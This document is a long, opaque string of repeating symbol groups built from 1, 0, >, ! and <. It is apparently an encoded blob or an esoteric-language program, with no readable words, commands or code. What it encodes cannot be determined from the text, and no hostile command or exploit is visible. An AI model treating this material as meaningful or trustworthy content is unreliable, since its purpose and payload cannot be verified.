1>01010111>01!1>0>1!1!1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1!1!<>1!1>0>1!1!1>0>1!1!1>0>1!1>0>10110>1!1!1>0>1!1>0>10110>1!1!1>01010111>01!1>01010111>01!1>01010111>01!1>01010111>01!10110>1!10110>1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!<>1!1>0>1!1!1>0>1!1!1>0>1!1>0>10110>1!1!1>0>1!1>0>10110>1!1!1>01010111>01!1>01010111>01!1>01010111>01!1>01010111>01!1>01010111>01!1>0>1!1!1>0>1>0>1!1>0>1!1!1!<>1!1>0>10110>1!1!1>0>1!1>0>10110>1!1!1>01010111>01!1>01010111>01!1>01010111>01!1>01010111>01!10110>1!1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1!1!<>1!1>0>10110>1!1!1>0>1!1>0>10110>1!1!1>01010111>01!1>01010111>01!1>01010111>01!1>01010111>01!1>01010111>01!1!1>0>1!1>0>1>0>1!1>0>1!1!1!<>1!1>0>10110>1!1!1>0>1!1>0>10110>1!1!1>01010111>01!1>01010111>01!1>01010111>01!1>01010111>01!1>0>1!1!1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1!<>1!1>0>10110>1!1!1>0>1!1>0>10110>1!1!1>01010111>01!1>01010111>01!1>01010111>01!1>01010111>01!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1!1!<>1!1>0>10110>1!1!1>0>1!1>0>10110>1!1!1>01010111>01!1>01010111>01!1>01010111>01!1>01010111>01!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1!1>0>1!1!1!<>1!1>0>10110>1!1!1>0>1!1>0>10110>1!1!1>01010111>01!1>01010111>01!1>01010111>01!1>01010111>01!10110>1!1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1!1!1!<>1!1>0>1!1!1>0>1!1!1>0>1!1>0>10110>1!1!1>0>1!1>0>10110>1!1!1>01010111>01!1>01010111>01!1>01010111>01!1>01010111>01!1>01010111>01!1!1!1>0>1!1!1!1>0>1!1!1!<>1!1>0>10110>1!1!1>0>1!1>0>10110>1!1!1>01010111>01!1>01010111>01!1>01010111>01!1>01010111>01!1>0>1!1!1!1>0>1!1>0>1!1!1!1>0>1!1!1!1>0>1!1!1!<>1!1>0>1!1!1>0>1!1!1>0>1!1>0>10110>1!1!1>0>1!1>0>10110>1!1!1>01010111>01!1>01010111>01!1>01010111>01!1>01010111>01!10110>1!10110>1!1>0>1>0>1!1!1!1!1>0>1!1!1!<>1!1>0>10110>1!1!1>0>1!1>0>10110>1!1!1>01010111>01!1>01010111>01!1>01010111>01!1>01010111>01!1>0>1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1>0>1!1!1!<>1!1>0>1!1!1>0>1!1!1>0>1!1>0>10110>1!1!1>0>1!1>0>10110>1!1!1>01010111>01!1>01010111>01!1>01010111>01!1>01010111>01!1>01010111>01!1>0>1>0>1!1!1!1!1>0>1!1!1!<>1!1>0>1!1!1>0>1!1!1>0>1!1>0>10110>1!1!1>0>1!1>0>10110>1!1!1>01010111>01!1>01010111>01!1>01010111>01!1>01010111>01!10110>1!10110>1!1!1>0>1!1!1!1!1>0>1!1!1!<>1!1>0>10110>1!1!1>0>1!1>0>10110>1!1!1>01010111>01!1>01010111>01!1>01010111>01!1>01010111>01!1>01010111>01!1!1!1>0>1!1>0>1!1>0>1!1!1!<>1!1>0>10110>1!1!1>0>1!1>0>10110>1!1!1>01010111>01!1>01010111>01!1>01010111>01!1>01010111>01!10110>1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1!1!1!<>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!10110>1!1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1!1!10110>1!1>0>1!1!1>0>10110>1!1!1!1>0>1!1>0>1!1>0>1!1!1!<>1!1>0>10110>1!1!1>0>1>0>1!1!10110>1!1!1!1>0>1!1!1!1>0>1!10110>1!1!1!1>0>1!1!1!<>1!1>0>10110>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1!1!1>0>1!1!1!1!1!10110>1!1!1!<>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!10110>1!1!1!<>1!1>0>10110>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1>0>1!1>0>1!1!1!1!1!10110>1!1!1!<>1!1>0>1>0>1!1>0>1!1>0>1!1>01010111>01>0>1!1!1!1!10110>1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1!1!<>1!1!1>0>1!1>0>1!1>01010111>01>0>1!1!1!1!10110>1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1!1!1!1!1!<>1!1>0>1!1>01010111>01>0>1!1!1!1!10110>1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!